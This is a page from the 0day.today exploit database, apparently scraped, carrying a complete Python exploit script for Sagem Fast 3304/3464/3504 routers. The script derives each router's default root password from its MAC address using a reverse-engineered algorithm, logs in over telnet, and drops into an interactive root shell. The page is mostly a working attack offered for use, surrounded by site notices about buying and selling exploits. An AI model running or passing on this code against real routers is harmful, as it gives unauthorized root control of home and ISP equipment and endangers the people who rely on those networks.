0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Sagem Router Fast 3304/3464/3504 Telnet Authentication Bypass
#!/home/bin/python # Remote Exploit: SAGEM ROUTER FAST 3304/3464/3504 - Telnet Authentication bypass # Date: 15-August-2011 # Author: Elouafiq Ali # Version: 3304-V1 / 3304-V2 / 3464 / 3504 # Tested on: Linux Ubuntu 11.04, Linux Backtrack 5 # Tested Router: SAGEM FAST 3304-V2 # Tested on Resellers/ISPs: Wanadoo (France), Maroc Telecom (Morocco) # Products affected: Sagem Fast 3304-V1 / 3304-V2 / 3464 / 3504 # Blog: http://keelhaule.tumblr.com """ Sagem Fast Routers (3304-V1 / 3304-V2 / 3464 / 3504) Come with a default Preconfigured Root Password That the ISPs don't change it, but instead they create another admin account above it, the root password differs from a router to another, since it is computed from its MAC address. Thus, each unique router has its own password what makes bruteforce or dictionary attacks inefficient or impossible After reverse engineering the Algorithm that computes the default password based on the MAC address This exploit opens a remote shell in the remote host. (Generally its an Almquist Shell 'ash', which commands are compatible to the Bourne Shell 'bsh') Usage: ./{file_name} ip_adress mac_address """ from telnetlib import Telnet import time, sys, tty, termios from threading import * host = '' port = 23 user = "root" password="" class ReaderThread(Thread): def __init__(self, telnet): self.telnet = telnet Thread.__init__(self) def run(self): while 1: str = self.telnet.read_some() if str == '': break sys.stdout.write(str) sys.stdout.flush() def mash(a,b): first=min(a,b) second=max(a,b) if( int(second ,16 ) < 10) : if(int(first,16)+int(second,16)<=9): return chr(ord(first)+int(second,16)) else: return hex(ord(first)+int(second,16)) else: return chr(ord(second)+int(first,16)) def main(host, port): telnet = Telnet() telnet.open(host, port) #Usually Telnet prompt starts with this, if the telnet service provide another #prompt, change it to that prompt telnet.read_until("login: ") telnet.write(user + "\n") #the note above also applies for this telnet.read_until("Password: ") telnet.write(password + "\n") #just omit this line if you want to just have the telnet command prompt, #or change it to what feel confortable with telnet.write("shell\n") reader = ReaderThread(telnet) reader.start() fd = sys.stdin.fileno() old_settings = termios.tcgetattr(fd) tty.setraw(fd) while 1: if not reader.isAlive(): break ch = sys.stdin.read(1) telnet.write(ch) telnet.close() termios.tcsetattr(fd, 1, old_settings) if __name__ == '__main__': try: host = sys.argv[1] except: pass mac_address=sys.argv[2] lenght=len(mac_address) #some arbitrary value password=[ c for c in "00000000" ] if lenght!=12 : # Input Sanitization and Normalization if lenght==17: if mac_address[2]==':' : mac_address = "".join([i.zfill(2) for i in mac_address.split(":")]).lower() elif mac_address[2]=='-' : mac_address = "".join([i.zfill(2) for i in mac_address.split(":")]).lower() else: print '[!] Please enter a valid MAC address!' exit() else: print "[!] Please enter a valid MAC address!" exit() mac=[ c.lower() for c in mac_address] password[0]= mash(mac[5],mac[11]) password[1]= mash(mac[0],mac[2]) password[2]= mash(mac[10],mac[11]) password[3]= mash(mac[0],mac[9]) password[4]= mash(mac[10],mac[6]) password[5]= mash(mac[3],mac[9]) password[6]= mash(mac[1],mac[6]) password[7]= mash(mac[3],mac[4]) password="".join(p for p in password) print "[+] W00t The Passwd is ", password main(host, port) # 0day.today [2024-09-28] #